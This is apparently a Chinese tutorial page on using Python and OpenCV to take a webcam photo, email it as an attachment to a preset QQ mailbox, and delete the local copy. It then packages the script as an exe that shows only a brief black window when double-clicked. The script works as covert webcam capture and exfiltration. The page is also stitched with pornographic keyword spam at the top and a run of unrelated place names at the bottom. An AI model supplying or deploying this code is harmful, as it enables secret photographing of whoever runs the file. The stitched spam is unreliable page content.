最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Python實(shí)現(xiàn)調(diào)用攝像頭拍攝照片

 更新時(shí)間:2022年06月18日 10:09:59   作者:Andy-wen  
這篇文章主要為大家詳細(xì)介紹了如何利用Python實(shí)現(xiàn)調(diào)用攝像頭拍攝照片以及郵箱收集功能,文中的示例代碼講解詳細(xì),感興趣的可以動(dòng)手嘗試一下

步驟

  • 用opencv打開(kāi)攝像頭并拍照
  • 保存照片到本地
  • 獲取郵箱(如qq郵箱)的授權(quán)碼,方法可自行百度
  • 將照片以附件的形式發(fā)送到指定郵箱
  • 刪除本地照片

代碼

import os                                       # 刪除圖片文件
import cv2                                      # 調(diào)用攝像頭拍攝照片
from smtplib import SMTP_SSL                    # SSL加密的   傳輸協(xié)議
from email.mime.text import MIMEText            # 構(gòu)建郵件文本
from email.mime.multipart import MIMEMultipart  # 構(gòu)建郵件體
from email.header import Header                 # 發(fā)送內(nèi)容


# 調(diào)用攝像頭拍攝照片
def get_photo():
    cap = cv2.VideoCapture(0)           # 開(kāi)啟攝像頭
    f, frame = cap.read()               # 將攝像頭中的一幀圖片數(shù)據(jù)保存
    cv2.imwrite('image.jpg', frame)     # 將圖片保存為本地文件
    cap.release()                       # 關(guān)閉攝像頭


# 把圖片文件發(fā)送到我的郵箱
def send_message():
    # 選擇QQ郵箱發(fā)送照片
    host_server = 'smtp.qq.com'         # QQ郵箱smtp服務(wù)器
    pwd = 'xxxx'            # 授權(quán)碼
    from_qq_mail = 'xxx@qq.com'          # 發(fā)件人
    to_qq_mail = 'xxxx@qq.com'            # 收件人
    msg = MIMEMultipart()               # 創(chuàng)建一封帶附件的郵件

    msg['Subject'] = Header('攝像頭照片', 'UTF-8')    # 消息主題
    msg['From'] = from_qq_mail                       # 發(fā)件人
    msg['To'] = Header("YH", 'UTF-8')                # 收件人
    msg.attach(MIMEText("照片", 'html', 'UTF-8'))    # 添加郵件文本信息

    # 加載附件到郵箱中  SSL 方式   加密
    image = MIMEText(open('image.jpg', 'rb').read(), 'base64', 'utf-8')
    image["Content-Type"] = 'image/jpeg'   # 附件格式為圖片的加密數(shù)據(jù)
    msg.attach(image)                      # 附件添加

    # 開(kāi)始發(fā)送郵件
    smtp = SMTP_SSL(host_server)           # 鏈接服務(wù)器
    smtp .login(from_qq_mail, pwd)         # 登錄郵箱
    smtp.sendmail(from_qq_mail, to_qq_mail, msg.as_string())  # 發(fā)送郵箱
    smtp.quit()     # 退出


if __name__ == '__main__':
    get_photo()                 # 開(kāi)啟攝像頭獲取照片
    send_message()              # 發(fā)送照片
    os.remove('image.jpg')      # 刪除本地照片

實(shí)現(xiàn)效果

將寫(xiě)好的程序打包成exe文件

為了減小exe的大小可以自行新建一個(gè)虛擬環(huán)境再打包

雙擊exe暫時(shí)出現(xiàn)黑框

查看郵箱信息

需要下載附件后自行更改文件后綴就可查看所拍到的圖片了

到此這篇關(guān)于Python實(shí)現(xiàn)調(diào)用攝像頭拍攝照片的文章就介紹到這了,更多相關(guān)Python攝像頭拍攝照片內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • python list使用示例 list中找連續(xù)的數(shù)字

    python list使用示例 list中找連續(xù)的數(shù)字

    這篇文章主要介紹了list中找連續(xù)的數(shù)字的示例,大家參考使用吧
    2014-01-01
  • python?Gooey庫(kù)將命令行程序轉(zhuǎn)換成圖形用戶(hù)界面GUI應(yīng)用

    python?Gooey庫(kù)將命令行程序轉(zhuǎn)換成圖形用戶(hù)界面GUI應(yīng)用

    這篇文章主要為大家介紹了python?Gooey庫(kù)將命令行程序轉(zhuǎn)換成圖形用戶(hù)界面GUI應(yīng)用詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪
    2024-01-01
  • python Jieba分詞處理詳解【模式,詞庫(kù)的添加、刪除,自定義詞庫(kù),失敗處理等】

    python Jieba分詞處理詳解【模式,詞庫(kù)的添加、刪除,自定義詞庫(kù),失敗處理等】

    這篇文章主要介紹了python Jieba分詞處理,結(jié)合實(shí)例形式詳細(xì)分析了python 使用jieba分詞的模式,詞庫(kù)的添加、刪除,自定義詞庫(kù),失敗處理等相關(guān)操作技巧,需要的朋友可以參考下
    2023-07-07
  • Python使用GeoIP2實(shí)現(xiàn)地圖定位

    Python使用GeoIP2實(shí)現(xiàn)地圖定位

    GeoIP2是一種IP地址定位庫(kù),它允許開(kāi)發(fā)人員根據(jù)IP地址查找有關(guān)位置和地理位置的信息,這篇文章主要為大家介紹了python如何使用GeoIP2實(shí)現(xiàn)地圖定位,感興趣的可以了解下
    2023-10-10
  • Python入門(mén)教程4. 元組基本操作

    Python入門(mén)教程4. 元組基本操作

    這篇文章主要介紹了Python元組基本操作,簡(jiǎn)單介紹了元組的創(chuàng)建、count方法元素統(tǒng)計(jì)、index方法元素獲取等相關(guān)操作技巧與注意事項(xiàng),需要的朋友可以參考下
    2018-10-10
  • 詳解使用Selenium爬取豆瓣電影前100的愛(ài)情片相關(guān)信息

    詳解使用Selenium爬取豆瓣電影前100的愛(ài)情片相關(guān)信息

    這篇文章主要介紹了詳解使用Selenium爬取豆瓣電影前100的愛(ài)情片相關(guān)信息,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2021-03-03
  • Python餅狀圖的繪制實(shí)例

    Python餅狀圖的繪制實(shí)例

    今天小編就為大家分享一篇關(guān)于Python餅狀圖的繪制實(shí)例,小編覺(jué)得內(nèi)容挺不錯(cuò)的,現(xiàn)在分享給大家,具有很好的參考價(jià)值,需要的朋友一起跟隨小編來(lái)看看吧
    2019-01-01
  • Pandas讀取csv的實(shí)現(xiàn)

    Pandas讀取csv的實(shí)現(xiàn)

    本文主要介紹了Pandas讀取csv的實(shí)現(xiàn),文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2023-01-01
  • python中使用docx模塊處理word文檔

    python中使用docx模塊處理word文檔

    這篇文章主要介紹了python中使用docx模塊處理word文檔的相關(guān)資料,需要的朋友可以參考下
    2023-01-01
  • Python?pyecharts繪制折線圖詳解

    Python?pyecharts繪制折線圖詳解

    pyecharts是一個(gè)由百度開(kāi)源的數(shù)據(jù)可視化,憑借著良好的交互性,精巧的圖表設(shè)計(jì),得到了眾多開(kāi)發(fā)者的認(rèn)可。本文將利用其繪制折線圖,需要的可以參考一下
    2022-04-04

最新評(píng)論

滦平县| 辽阳县| 耿马| 中江县| 眉山市| 灵山县| 醴陵市| 陇川县| 商南县| 铜梁县| 工布江达县| 湖南省| 红河县| 陆良县| 定日县| 米泉市| 夏河县| 华亭县| 临汾市| 江源县| 渝北区| 清水河县| 措美县| 惠安县| 镇安县| 明水县| 仙居县| 沁源县| 临泽县| 林甸县| 鹿泉市| 呈贡县| 双牌县| 绥棱县| 柘城县| 赤城县| 萍乡市| 家居| 安岳县| 洪泽县| 昂仁县|